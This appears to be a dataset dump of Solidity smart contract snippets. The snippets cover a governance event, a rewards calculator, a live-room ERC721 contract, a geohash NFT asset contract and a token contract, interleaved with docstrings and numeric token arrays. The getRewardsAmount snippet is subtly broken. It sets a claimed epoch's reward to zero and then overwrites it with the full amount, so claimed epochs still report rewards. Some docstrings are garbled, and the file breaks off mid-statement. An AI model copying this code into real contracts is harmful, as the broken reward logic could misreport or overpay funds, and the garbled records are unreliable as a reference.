[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 28183, 966, 12, 11890, 5034, 28183, 548, 13, 1071, 1476, 1135, 261, 1504, 304, 966, 3778, 13, 288, 203, 3639, 327, 389, 383, 304, 966, 63, 383, 304, 548, 15533, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x4F1982dcbB37021eA9F8Ed5dFa1C5a4b73f92665/sources/contracts/governance/community/PolicyProposals.sol
* An event indicating a proposal has been proposed @param proposer The address that submitted the Proposal @param proposalAddress The address of the Proposal contract instance that was added/
event Register(address indexed proposer, Proposal indexed proposalAddress);
15,926,254
[ 1, 979, 871, 11193, 279, 14708, 711, 2118, 20084, 225, 450, 5607, 1021, 1758, 716, 9638, 326, 19945, 225, 14708, 1887, 1021, 1758, 434, 326, 19945, 6835, 791, 716, 1703, 3096, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 5433, 12, 2867, 8808, 450, 5607, 16, 19945, 8808, 14708, 1887, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x032Ba44EB2DB607d2F9424b90e191BbFb51152A1/sources/contracts/TwabRewards.sol
@inheritdoc ITwabRewards
function getRewardsAmount( address _user, uint256 _promotionId, uint8[] calldata _epochIds ) external view override returns (uint256[] memory) { Promotion memory _promotion = _getPromotion(_promotionId); uint256 _epochIdsLength = _epochIds.length; uint256[] memory _rewardsAmount = new uint256[](_epochIdsLength); for (uint256 index = 0; index < _epochIdsLength; index++) { if (_isClaimedEpoch(_claimedEpochs[_promotionId][_user], _epochIds[index])) { _rewardsAmount[index] = 0; _rewardsAmount[index] = _calculateRewardAmount(_user, _promotion, _epochIds[index]); } } return _rewardsAmount; }
16,513,557
[ 1, 36, 10093, 467, 23539, 378, 17631, 14727, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4170, 359, 14727, 6275, 12, 203, 3639, 1758, 389, 1355, 16, 203, 3639, 2254, 5034, 389, 17401, 8240, 548, 16, 203, 3639, 2254, 28, 8526, 745, 892, 389, 12015, 2673, 203, 565, 262, 3903, 1476, 3849, 1135, 261, 11890, 5034, 8526, 3778, 13, 288, 203, 3639, 17552, 8240, 3778, 389, 17401, 8240, 273, 389, 588, 13224, 8240, 24899, 17401, 8240, 548, 1769, 203, 203, 3639, 2254, 5034, 389, 12015, 2673, 1782, 273, 389, 12015, 2673, 18, 2469, 31, 203, 3639, 2254, 5034, 8526, 3778, 389, 266, 6397, 6275, 273, 394, 2254, 5034, 8526, 24899, 12015, 2673, 1782, 1769, 203, 203, 3639, 364, 261, 11890, 5034, 770, 273, 374, 31, 770, 411, 389, 12015, 2673, 1782, 31, 770, 27245, 288, 203, 5411, 309, 261, 67, 291, 9762, 329, 14638, 24899, 14784, 329, 14638, 87, 63, 67, 17401, 8240, 548, 6362, 67, 1355, 6487, 389, 12015, 2673, 63, 1615, 22643, 288, 203, 7734, 389, 266, 6397, 6275, 63, 1615, 65, 273, 374, 31, 203, 7734, 389, 266, 6397, 6275, 63, 1615, 65, 273, 389, 11162, 17631, 1060, 6275, 24899, 1355, 16, 389, 17401, 8240, 16, 389, 12015, 2673, 63, 1615, 19226, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 327, 389, 266, 6397, 6275, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import './interfaces/IRightsLiveRoom.sol'; import "./modules/MasterDataModule.sol"; import "./utils/LinkedAddressList.sol"; import "openzeppelin-solidity/math/SafeMath.sol"; /// @title RightsLiveRoom /// @dev ERC721 based master data of live rooms. contract RightsLiveRoom is IRightsLiveRoom, MasterDataModule { using SafeMath for uint; struct LiveRoom { string name; uint256 liveRoomType; address holder; string mediaId; string description; uint256 entranceFee; bool isSecret; bool isValid; } /*** STORAGE ***/ LiveRoom[] public liveRooms; // Mapping from holder to token Ids LinkedAddressList private hostList; /*** CONSTRUCTOR ***/ constructor() public { hostList = new LinkedAddressList(); } /*** EXTERNAL FUNCTIONS ***/ /// @dev Crete the live room /// @param _name Live room name /// @param _liveRoomType Live room type /// @param _holder live room holder address /// @param _mediaId media file id /// @param _description Live room description /// @param _entranceFee Live room entrance fee /// @param _isSecret Whether the live room is a secret /// @param _isValid Whether the live room is valid function createLiveRoom( string _name, uint256 _liveRoomType, address _holder, string _mediaId, string _description, uint256 _entranceFee, bool _isSecret, bool _isValid ) external whenNotPaused { // add to liveRooms LiveRoom memory liveRoom; liveRoom.name = _name; liveRoom.liveRoomType = _liveRoomType; liveRoom.holder = _holder; liveRoom.mediaId = _mediaId; liveRoom.description = _description; liveRoom.isValid = _isValid; liveRoom.isSecret = _isSecret; liveRoom.entranceFee = _entranceFee; // set ids uint256 liveRoomId = liveRooms.push(liveRoom).sub(1); _mint(msg.sender, liveRoomId); emit CreateLiveRoom(msg.sender, liveRoomId); } /// @dev Updates the live room of the specified live room ID /// @param _liveRoomId id of the live room /// @param _name The naf the live vroom /// @param _liveRoomType Live room type /// @param _mediaId Thscription of the live room /// @param _description The description of the live room /// @param _entranceFee The entrance fee of the live room /// @param _isSecret Whether the live room is a secret /// @param _isValid Whether the live room is valid function updateLiveRoom( uint256 _liveRoomId, string _name, uint256 _liveRoomType, string _mediaId, string _description, uint256 _entranceFee, bool _isSecret, bool _isValid ) external whenNotPaused { require(ownerOf(_liveRoomId) == msg.sender); LiveRoom storage liveRoom = liveRooms[_liveRoomId]; liveRoom.name = _name; liveRoom.liveRoomType = _liveRoomType; liveRoom.mediaId = _mediaId; liveRoom.description = _description; liveRoom.isSecret = _isSecret; liveRoom.entranceFee = _entranceFee; liveRoom.isValid = _isValid; emit UpdateLiveRoom(msg.sender, _liveRoomId); } /// @dev Approves another address to be host of the live room /// @param _to address to be approved for the given live room ID /// @param _liveRoomId id of the live room function addHost( address _to, uint256 _liveRoomId ) public whenNotPaused { require(ownerOf(_liveRoomId) == msg.sender); hostList.add(_liveRoomId, _to); emit AddHost(msg.sender, _to, _liveRoomId); } /// @dev Remove current approval to be host of the given live room ID /// @param _to address to be approved for the given live room ID /// @param _liveRoomId id of the live room function removeHost( address _to, uint256 _liveRoomId ) external whenNotPaused { require(ownerOf(_liveRoomId) == msg.sender); hostList.remove(_liveRoomId, _to); emit RemoveHost(msg.sender, _to, _liveRoomId); } /// @dev Gets the live room info of the specified live room ID /// @param _liveRoomId id of the live room /// @return live room info function getLiveRoom(uint256 _liveRoomId) public view returns ( uint256 liveRoomId, string name, uint256 liveRoomType, address holder, string mediaId, string description, bool isValid, bool isSecret, uint256 entranceFee, address owner ) { require(_exists(_liveRoomId)); address liveRoomOwner = ownerOf(_liveRoomId); LiveRoom memory liveRoom = liveRooms[_liveRoomId]; return ( _liveRoomId, liveRoom.name, liveRoom.liveRoomType, liveRoom.holder, liveRoom.mediaId, liveRoom.description, liveRoom.isValid, liveRoom.isSecret, liveRoom.entranceFee, liveRoomOwner ); } /// @dev Gets the live room info of the specified live room ID /// @param _owner address owning the tokens list to be accessed /// @param _index uint256 representing the index to be accessed of the requested tokens list /// @return live room info function getLiveRoom(address _owner, uint256 _index) public view returns ( uint256 liveRoomId, string name, uint256 liveRoomType, address holder, string mediaId, string description, bool isValid, bool isSecret, uint256 entranceFee, address owner ) { uint256 targetId = tokenOfOwnerByIndex(_owner, _index); return getLiveRoom(targetId); } /// @dev Gets the host address for a live room ID /// @param _liveRoomId id of the live room /// @param _host host address /// @return currently oved address for the given live ID function isHost(uint256 _liveRoomId, address _host) public view returns (bool) { require(_exists(_liveRoomId)); return hostList.exists(_liveRoomId, _host); } /// @dev Gets the host list of live room /// @param _liveRoomId id of the live room /// @return host address list function getHosts(uint256 _liveRoomId) public view returns (address[]) { require(_exists(_liveRoomId)); return hostList.valuesOf(_liveRoomId); } /// @dev Returns live room type of the specified live room id /// @param _liveRoomId id of the live room /// @return live room type of the specified live room id function liveRoomTypeOf(uint256 _liveRoomId) public view returns (uint256) { require(_exists(_liveRoomId)); return liveRooms[_liveRoomId].liveRoomType; } /// @dev Returns live room holder of the specified live room id /// @param _liveRoomId live room id /// @return live room holder address of the specified live room id function holderOf(uint256 _liveRoomId) public view returns (address) { require(_exists(_liveRoomId)); return liveRooms[_liveRoomId].holder; } /// @dev Returns whether the live room is valid /// @param _liveRoomId id of the live room /// @return whether the live room is valid function isValid(uint256 _liveRoomId) public view returns (bool) { require(_exists(_liveRoomId)); return liveRooms[_liveRoomId].isValid; } /// @dev Returns whether the live room is secret /// @param _liveRoomId id of the live room /// @return whether the live room is secret function isSecret(uint256 _liveRoomId) public view returns (bool) { require(_exists(_liveRoomId)); return liveRooms[_liveRoomId].isSecret; } /// @dev Returns entranceFee of the specified live room id /// @param _liveRoomId id of the live room function entranceFeeOf(uint256 _liveRoomId) public view returns (uint256) { require(_exists(_liveRoomId)); return liveRooms[_liveRoomId].entranceFee; } }
@dev Crete the live room @param _name Live room name @param _liveRoomType Live room type @param _holder live room holder address @param _mediaId media file id @param _description Live room description @param _entranceFee Live room entrance fee @param _isSecret Whether the live room is a secret @param _isValid Whether the live room is valid add to liveRooms set ids
function createLiveRoom( string _name, uint256 _liveRoomType, address _holder, string _mediaId, string _description, uint256 _entranceFee, bool _isSecret, bool _isValid ) external whenNotPaused { LiveRoom memory liveRoom; liveRoom.name = _name; liveRoom.liveRoomType = _liveRoomType; liveRoom.holder = _holder; liveRoom.mediaId = _mediaId; liveRoom.description = _description; liveRoom.isValid = _isValid; liveRoom.isSecret = _isSecret; liveRoom.entranceFee = _entranceFee; uint256 liveRoomId = liveRooms.push(liveRoom).sub(1); _mint(msg.sender, liveRoomId); emit CreateLiveRoom(msg.sender, liveRoomId); }
891,965
[ 1, 1996, 736, 326, 8429, 7725, 225, 389, 529, 225, 21559, 7725, 508, 225, 389, 16472, 13646, 559, 21559, 7725, 618, 225, 389, 4505, 8429, 7725, 10438, 1758, 225, 389, 5829, 548, 3539, 585, 612, 225, 389, 3384, 21559, 7725, 2477, 225, 389, 8230, 1359, 14667, 21559, 7725, 31976, 1359, 14036, 225, 389, 291, 5207, 17403, 326, 8429, 7725, 353, 279, 4001, 225, 389, 26810, 17403, 326, 8429, 7725, 353, 923, 527, 358, 8429, 13646, 87, 444, 3258, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 12328, 13646, 12, 203, 3639, 533, 389, 529, 16, 203, 3639, 2254, 5034, 389, 16472, 13646, 559, 16, 203, 3639, 1758, 389, 4505, 16, 203, 3639, 533, 389, 5829, 548, 16, 203, 3639, 533, 389, 3384, 16, 203, 3639, 2254, 5034, 389, 8230, 1359, 14667, 16, 203, 3639, 1426, 389, 291, 5207, 16, 203, 3639, 1426, 389, 26810, 203, 565, 262, 3903, 1347, 1248, 28590, 288, 203, 3639, 21559, 13646, 3778, 8429, 13646, 31, 203, 3639, 8429, 13646, 18, 529, 273, 389, 529, 31, 203, 3639, 8429, 13646, 18, 16472, 13646, 559, 273, 389, 16472, 13646, 559, 31, 203, 3639, 8429, 13646, 18, 4505, 273, 389, 4505, 31, 203, 3639, 8429, 13646, 18, 5829, 548, 273, 389, 5829, 548, 31, 203, 3639, 8429, 13646, 18, 3384, 273, 389, 3384, 31, 203, 3639, 8429, 13646, 18, 26810, 273, 389, 26810, 31, 203, 3639, 8429, 13646, 18, 291, 5207, 273, 389, 291, 5207, 31, 203, 3639, 8429, 13646, 18, 8230, 1359, 14667, 273, 389, 8230, 1359, 14667, 31, 203, 203, 3639, 2254, 5034, 8429, 13646, 548, 273, 8429, 13646, 87, 18, 6206, 12, 16472, 13646, 2934, 1717, 12, 21, 1769, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 8429, 13646, 548, 1769, 203, 203, 3639, 3626, 1788, 12328, 13646, 12, 3576, 18, 15330, 16, 8429, 13646, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; // ERC721 standard implementation import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; // To only allow the owner of the smart contract to mint NFTs we’ve imported // https://docs.openzeppelin.com/contracts/4.x/access-control import "@openzeppelin/contracts/access/Ownable.sol"; // needed as our smart contract needs a counter to keep track of the total number of NFTs minted // and assign the unique ID on our new NFT import "@openzeppelin/contracts/utils/Counters.sol"; /** * @title Base non fungible token contract for assets * @author Oleh Andrushko (https://olich.me) * @dev The contract implement custom base functions in order to handle base functionalities with ERC721 standard for non fungible assets (es: lands, buildings, roads etc.) * In combination with token metadata, the contact store (on-chain) a geohash unique string for each asset. * A geohash (https://en.wikipedia.org/wiki/Geohash) is a convenient way of expressing a location (anywhere in the world) * using a short alphanumeric string, with greater precision obtained with longer strings. * You can generate/check geohashes from here: https://www.movable-type.co.uk/scripts/geohash.html */ contract BaseAsset is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; /** * @dev Mapping of addresses who are authorized to make calls on a special buy function */ mapping (address => bool) private _authorizedBuyers; /** * @dev mapping from tokentId to tokenUri */ mapping (uint256 => string) private _tokenURIs; /** * @dev mapping from tokentId to price */ mapping (uint256 => uint256) private _tokenPrices; /** * @dev mapping from geohash to tokenId */ mapping (string => uint256) private _geohashTokens; constructor(string memory _name, string memory _symbol) public ERC721(_name, _symbol) {} /** * @dev Throws then sender is not the owner of token */ modifier onlyTokenOwner(string memory _geohash) { require(msg.sender == ownerOfGeohash(_geohash), "Caller is not the owner of the geohash"); _; } /** * @dev Throws then the sender is not an authorized buyer */ modifier onlyAuthorizedBuyer() { require(_authorizedBuyers[msg.sender], "Caller is not an authorized buyer"); _; } /** * @dev Add an address to authorized buyers * @param contractAddress target address * @param isAuthorized is authorized */ function setAuthorizedBuyer(address contractAddress, bool isAuthorized) external onlyOwner { _authorizedBuyers[contractAddress] = isAuthorized; } /** * @dev Buy an asset * @param _geohash target token geohash */ function buy(string memory _geohash) public payable { _buy(_geohash, msg.sender, msg.value); } /** * @dev Buy an asset (used from the land contract) on beahalf a new owner * @param _geohash target token geohash * @notice only authorized buyers (e.g. land cantract address) can call the function */ function buy(string memory _geohash, address newOwner) external payable onlyAuthorizedBuyer { _buy(_geohash, newOwner, msg.value); } /** * @dev Buy an asset * @param _geohash target token geohash * @param newOwner new owner * @param amount price for the token * TODO: need to check if the caller is already a owner of token */ function _buy(string memory _geohash, address newOwner, uint256 amount) internal { uint256 price = priceOfGeohash(_geohash); require(amount == price, "Value does not match the token price"); uint256 tokenId = tokenFromGeohash(_geohash); address tokenOwner = ownerOf(tokenId); // transfer nft to new owner (caller) // TODO: maybe need to use safeTransferFrom instead _transfer(tokenOwner, newOwner, tokenId); // send cash to the old owner Address.sendValue(payable(tokenOwner), amount); } /** * @dev Set the price for the token * @param _geohash target token geohash * @param price new price for the token * @notice only owner of the nft can modify the price */ function setTokenPrice(string memory _geohash, uint256 price) public onlyTokenOwner(_geohash) { uint256 tokenId = tokenFromGeohash(_geohash); _setTokenPrice(tokenId, price); } /** * @dev Effectively grabs the token metadata uri * @param tokenId target token */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "URI query of nonexistent token"); return _tokenURIs[tokenId]; } /** * @dev Effectively grabs the metadata uri of a geohash * @param _geohash asset geohash */ function tokenURIofGeohash(string memory _geohash) public view returns (string memory) { uint256 tokenId = tokenFromGeohash(_geohash); return tokenURI(tokenId); } /** * @dev Get token price * @param _geohash asset geohash */ function priceOfGeohash(string memory _geohash) public view returns (uint256) { uint256 tokenId = tokenFromGeohash(_geohash); return _tokenPrices[tokenId]; } /** * @dev Retrive tokenId associated with geohash * @param _geohash target geohash */ function tokenFromGeohash(string memory _geohash) public view returns (uint256) { require(_geohashExists(_geohash), "Geohash query of nonexistent geohash"); return _geohashTokens[_geohash]; } /** * @dev Retrive owner of geohash * @param _geohash target geohash */ function ownerOfGeohash(string memory _geohash) public view returns (address) { uint256 tokenId = tokenFromGeohash(_geohash); return ownerOf(tokenId); } /** * @dev Generate unique tokenId */ function _generateTokenId() internal returns (uint256) { _tokenIds.increment(); return _tokenIds.current(); } /** * @dev Sets the metadata associated with the token. * @param tokenId target token * @param _tokenURI url of metadata */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Sets the price for the token * @param tokenId target token * @param price price in ethers */ function _setTokenPrice(uint256 tokenId, uint256 price) internal virtual { require(_exists(tokenId), "Price set of nonexistent token"); _tokenPrices[tokenId] = price; } /** * @dev Sets a token for geohash * @param _geohash geohash string * @param tokenId target token id */ function _setTokenGeohash(uint256 tokenId, string memory _geohash) internal { require(_exists(tokenId), "Geohash set of nonexistent token"); _geohashTokens[_geohash] = tokenId; } /** * @dev Returns whether `geohash` exists * @param _geohash geohash string */ function _geohashExists(string memory _geohash) internal view returns (bool) { return _geohashTokens[_geohash] != 0; } }
* @dev Effectively grabs the token metadata uri @param tokenId target token/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "URI query of nonexistent token"); return _tokenURIs[tokenId]; }
14,022,322
[ 1, 12477, 4492, 3087, 2038, 326, 1147, 1982, 2003, 225, 1147, 548, 1018, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 7010, 3639, 1071, 7010, 3639, 1476, 7010, 3639, 5024, 7010, 3639, 3849, 203, 3639, 1135, 261, 1080, 3778, 13, 203, 565, 288, 203, 3639, 2583, 24899, 1808, 12, 2316, 548, 3631, 315, 3098, 843, 434, 1661, 19041, 1147, 8863, 203, 3639, 327, 225, 389, 2316, 1099, 2520, 63, 2316, 548, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract DailyCoinToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function DailyCoinToken( ) public { totalSupply = 300000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = 